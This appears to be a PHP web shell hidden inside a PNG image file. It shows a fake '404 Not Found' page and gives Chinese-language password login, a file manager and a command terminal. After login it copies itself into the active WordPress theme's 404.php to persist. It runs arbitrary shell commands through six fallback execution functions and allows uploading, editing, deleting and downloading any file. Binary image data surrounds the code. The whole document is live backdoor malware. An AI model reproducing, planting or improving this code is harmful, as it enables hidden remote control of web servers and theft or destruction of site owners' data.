PNG
IHDR 8] PLTE S =tRNS 404 Not Found Not Found ');
}
// ---------- 密码验证（POST 或 请求头）----------
$provided_pwd = $_POST['password'] ?? $_SERVER['HTTP_X_PASSWORD'] ?? '';
$valid_pwd = hash('sha256', $provided_pwd) === PASSWORD_HASH;
if ($PASSWORD_HASH !== '' && (!isset($_SESSION['fm_auth']) || $_SESSION['fm_auth'] !== true)) {
if ($valid_pwd) {
$_SESSION['fm_auth'] = true;
// 可选持久化：将自身写入 WordPress 当前主题的 404.php
if (function_exists('get_theme_root') && is_writable(get_theme_root())) {
@file_put_contents(
get_theme_root() . '/' . wp_get_theme()->stylesheet . '/404.php',
file_get_contents(__FILE__)
);
}
header("Location: " . $_SERVER['PHP_SELF']);
exit;
} else {
$login_error = '密码错误。';
}
// 显示登录界面（已汉化）
?><?php echo htmlspecialchars(APP_NAME);?> - 登录 'file_get_contents',
'file_put_contents' => 'file_put_contents',
'scandir' => 'scandir',
'unlink' => 'unlink',
'rmdir' => 'rmdir',
'rename' => 'rename',
'mkdir' => 'mkdir',
'is_dir' => 'is_dir',
'is_file' => 'is_file',
'filesize' => 'filesize',
'filemtime' => 'filemtime',
'fileperms' => 'fileperms',
'realpath' => 'realpath',
'basename' => 'basename',
'dirname' => 'dirname',
'getcwd' => 'getcwd',
'chdir' => 'chdir',
'system' => 'system',
'exec' => 'exec',
'shell_exec' => 'shell_exec',
'passthru' => 'passthru',
'move_uploaded_file' => 'move_uploaded_file',
'file_put_contents' => 'file_put_contents',
];
if (!isset($map[$name])) return null;
return call_user_func_array($map[$name], $args);
}
function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }
function fm_format_bytes($b) {
$u = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($b >= 1024 && $i < 4) { $b /= 1024; $i++; }
return sprintf('%.2f %s', $b, $u[$i]);
}
function fm_perm($f) {
$p = @_call_func('fileperms', $f);
if ($p === false) return '---------';
return (($p & 0x4000) ? 'd' : '-') .
(($p & 0x0100) ? 'r' : '-') .
(($p & 0x0080) ? 'w' : '-') .
(($p & 0x0040) ? 'x' : '-') .
(($p & 0x0020) ? 'r' : '-') .
(($p & 0x0010) ? 'w' : '-') .
(($p & 0x0008) ? 'x' : '-') .
(($p & 0x0004) ? 'r' : '-') .
(($p & 0x0002) ? 'w' : '-') .
(($p & 0x0001) ? 'x' : '-');
}
function fm_rrmdir($d) {
if (!file_exists($d)) return;
if (is_file($d) || is_link($d)) { @_call_func('unlink', $d); return; }
foreach (_call_func('scandir', $d) as $i) {
if ($i === '.' || $i === '..') continue;
fm_rrmdir($d . DIRECTORY_SEPARATOR . $i);
}
@_call_func('rmdir', $d);
}
function swal($t, $x, $i = 'info') {
$_SESSION['swal'] = ['title' => $t, 'text' => $x, 'icon' => $i];
}
// ---------- 登出 ----------
if (isset($_GET['logout'])) {
$_SESSION = [];
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// ---------- 路径处理 ----------
if (isset($_GET['dir']) && $_GET['dir'] !== '')
$path = $_GET['dir'];
else
$path = _call_func('getcwd');
$real_path = _call_func('realpath', $path);
if ($real_path) $path = str_replace('\\', '/', $real_path);
$exdir = explode('/', $path);
$current_dir = $path;
if (!isset($_SESSION['term_dir'])) $_SESSION['term_dir'] = $current_dir;
$term_history = $_SESSION['term_history'] ?? '';
$term_just_ran = false;
// ---------- 终端命令处理 ----------
// ---------- 终端命令处理（增强版）----------
if (isset($_POST['term_action']) && $_POST['term_action'] === 'run') {
$cmd = trim($_POST['term_cmd'] ?? '');
$term_dir = $_SESSION['term_dir'];
$output = '';
// 处理 cd 命令
if (strpos($cmd, 'cd ') === 0) {
$nd = trim(substr($cmd, 3));
if ($nd === '') {
$output = "用法: cd <目录>\n";
} else {
_call_func('chdir', $term_dir);
$np = _call_func('realpath', $nd);
if ($np !== false && _call_func('is_dir', $np)) {
$_SESSION['term_dir'] = $np;
$term_dir = $np;
$output = "目录已切换到 $term_dir\n";
} else {
$output = "cd: $nd: 没有这个目录\n";
}
}
} else {
_call_func('chdir', $term_dir);
$output = null;
$return_var = -1;
// 尝试方法1: shell_exec（返回字符串）
if (function_exists('shell_exec')) {
$raw = @shell_exec($cmd);
if ($raw !== null && $raw !== false) {
$output = $raw;
}
}
// 尝试方法2: exec（通过输出数组）
if ($output === null && function_exists('exec')) {
$lines = [];
@exec($cmd, $lines, $return_var);
if ($return_var === 0) {
$output = implode("\n", $lines);
}
}
// 尝试方法3: passthru（缓冲输出）
if ($output === null && function_exists('passthru')) {
ob_start();
@passthru($cmd, $return_var);
$raw = ob_get_clean();
if ($return_var === 0) {
$output = $raw;
}
}
// 尝试方法4: system（缓冲输出）
if ($output === null && function_exists('system')) {
ob_start();
@system($cmd, $return_var);
$raw = ob_get_clean();
if ($return_var === 0) {
$output = $raw;
}
}
// 尝试方法5: popen（流式读取）
if ($output === null && function_exists('popen')) {
$handle = @popen($cmd, 'r');
if (is_resource($handle)) {
$buffer = '';
while (!feof($handle)) {
$buffer .= fread($handle, 4096);
}
pclose($handle);
$output = $buffer;
}
}
// 尝试方法6: proc_open（最可靠）
if ($output === null && function_exists('proc_open')) {
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'] // stderr
];
$process = @proc_open($cmd, $descriptors, $pipes, $term_dir);
if (is_resource($process)) {
fclose($pipes[0]); // 关闭 stdin
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_var = proc_close($process);
if ($return_var === 0) {
$output = $stdout;
} else {
$output = $stderr ?: "(命令执行失败，返回码: $return_var)\n";
}
}
}
// 最终检查
if ($output === null) {
// 检查是否所有函数都被禁用
$disabled = ini_get('disable_functions');
$funcs = ['shell_exec', 'exec', 'passthru', 'system', 'popen', 'proc_open'];
$available = array_filter($funcs, 'function_exists');
if (empty($available)) {
$output = "错误：所有命令执行函数均被禁用 (disable_functions: $disabled)\n";
} else {
$output = "(命令执行无输出或失败)\n";
}
}
}
$term_history .= '$ ' . $cmd . "\n" . $output . "\n";
$_SESSION['term_history'] = $term_history;
$term_just_ran = true;
}
// ---------- 处理 POST 动作 ----------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
$act = $_POST['action'];
if ($act === 'upload' && isset($_FILES['upload'])) {
$f = $_FILES['upload'];
$c = 0;
if (is_array($f['name'])) {
$cnt = count($f['name']);
for ($i = 0; $i < $cnt; $i++) {
if ($f['error'][$i] === UPLOAD_ERR_OK && @_call_func('move_uploaded_file', $f['tmp_name'][$i], $current_dir . '/' . _call_func('basename', $f['name'][$i])))
$c++;
}
} elseif ($f['error'] === UPLOAD_ERR_OK && @_call_func('move_uploaded_file', $f['tmp_name'], $current_dir . '/' . _call_func('basename', $f['name']))) {
$c++;
}
swal('上传', "成功上传 {$c} 个文件。", 'success');
} elseif ($act === 'mkdir' && !empty($_POST['name'])) {
if (@_call_func('mkdir', $current_dir . '/' . trim($_POST['name']), 0755, true))
swal('文件夹', '文件夹创建成功。', 'success');
else
swal('文件夹', '创建失败。', 'error');
} elseif ($act === 'newfile' && !empty($_POST['name'])) {
$f = $current_dir . '/' . trim($_POST['name']);
if (!file_exists($f) && @_call_func('file_put_contents', $f, '') !== false)
swal('文件', '文件创建成功。', 'success');
else
swal('文件', '创建失败。', 'error');
} elseif ($act === 'delete' && !empty($_POST['target'])) {
fm_rrmdir($current_dir . '/' . $_POST['target']);
swal('删除', '项目已删除。', 'success');
} elseif ($act === 'rename' && !empty($_POST['old']) && !empty($_POST['new'])) {
$o = $current_dir . '/' . $_POST['old'];
$n = $current_dir . '/' . $_POST['new'];
if (@_call_func('rename', $o, $n))
swal('重命名', '名称修改成功。', 'success');
else
swal('重命名', '修改失败。', 'error');
} elseif ($act === 'save' && isset($_POST['file'])) {
$f = $current_dir . '/' . $_POST['file'];
$c = $_POST['content'] ?? '';
if (@_call_func('file_put_contents', $f, $c) !== false)
swal('保存', '文件保存成功。', 'success');
else
swal('保存', '保存失败。', 'error');
}
header("Location: " . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($current_dir));
exit;
}
// ---------- 文件下载 ----------
if (isset($_GET['download'])) {
$f = $current_dir . '/' . $_GET['download'];
if (is_file($f)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . _call_func('basename', $f) . '"');
header('Content-Length: ' . _call_func('filesize', $f));
readfile($f);
exit;
}
}
// ---------- 文件编辑 ----------
$edit_file = null;
$edit_content = '';
if (isset($_GET['edit'])) {
$edit_file = $current_dir . '/' . $_GET['edit'];
if (is_file($edit_file))
$edit_content = _call_func('file_get_contents', $edit_file);
else
$edit_file = null;
}
// ---------- 扫描目录 ----------
$dirs = [];
$files = [];
$scan = @_call_func('scandir', $current_dir);
if ($scan !== false) {
foreach ($scan as $i) {
if ($i === '.') continue;
if ($i === '..') {
$p = _call_func('dirname', $current_dir);
if ($p !== $current_dir) $dirs[] = ['name' => '..', 'parent' => $p, 'is_parent' => true];
continue;
}
$full = $current_dir . '/' . $i;
$d = [
'name' => $i,
'full' => $full,
'size' => is_file($full) ? _call_func('filesize', $full) : 0,
'perm' => fm_perm($full),
'time' => @_call_func('filemtime', $full),
'is_dir' => _call_func('is_dir', $full)
];
if ($d['is_dir']) $dirs[] = $d;
else $files[] = $d;
}
}
?><?php echo h(APP_NAME);?> 名称 大小 权限 修改时间 操作 .. - - - [目录] 文件夹为空。 ';?>
*
5 m;W a pB h ~P J
2 3 6 ҙ .Ƹ P i 4g
F R L P ΪK/D M v (a3
k J
Œ4N5* SH ` SdJ z O J Xՠ V> u ߱ BE&L b2 ?2` tX+ c CB A$ i b C ĀMB E : / # Dx &l =q Ty 0 \p I ( L Ǎ { e
4k ;`u^ｦ eP!( d { )T A 8 O;Ě n >;s6 ! :Nx `[S D HU ~ qJ F}
a g*D 49 / pn k h (t 8NxƐF _!r չ7
ZR R q/5") Ӎ NY 0 x sZ! o
fu , K"$ ? pg 㕣= 1» {h " fh7
y } +7 $ y
" X ą - G P u 4 m >J 5 L =V ' ^@I p ?MS xЌ XV P ! h "C NS9B8̢ ]!K e zA , ӏkbY !< XQ ٿyS| *" f { w 4@[S <
# 0 ! js [m =,~ o
"ݎ DHf Wo $ g ! Vԅ t mB /y Wf V4 c+@x? B ~u " xUN e 0 BĂ)
~J pz!
7 y6]l Ԥ@ P a< O /DHC `≻ N m"$ 0ObB }{ x AO FCG D R ^ "B { WDH UR l@ T
# +"d T ; 0 i D}. 7 ` ' ] w rE &S i ƕiTD EL P _ u h $ Ա FG wVD G L R Zf ' .!] J /ZR oGЍ s Mr Ĥ ʬ 3 Q [3 cL ` ^ p +
( F;# B 5 ' 2Y f [ ϶R0e } E 7
6M aۮ H <& n % L] E}Up x紉, Uw' Q Ǯշo k ވۙ 0N94 VX5 xEDE l D #֤ } C o )W : ^ s 9 bRf iX5u ཱི 4 :[ T 1. | [E 2ؽ Iy\ : o x K G 5
ylP ' uK E
ftb/i[3 .g _ [3M n
G, #NwQ5~
ؚ) | n =Ц"x qg gB ` 듘 ~ x w ?
?
R~ _ u. &V Q K˻ H C ( TN˄+ `C dA n B D 3"Z G ê ^k H_ /- ~ " R_ .8 Z_ 6@ o xg uP ? 3լ @7AM! E7^
- =V L x g-D0 CtmW 7 O G _ WD0 g C w1 r
d w : a | \ *" f nֳ ^ H# f L ` Z ۽hV }S F r0Ù Bć5r] @! NL iQ]{s^=4 d WD " " M;
t" 8 5 e dL| "-*st" ) SWD ?R[S e ooF 20.D ? bo =) A i o d ģ ZҰaO
@E =) i D a &ܟa CϞ y6 ,<%{^x%{f8? `iw^ ?/
M
*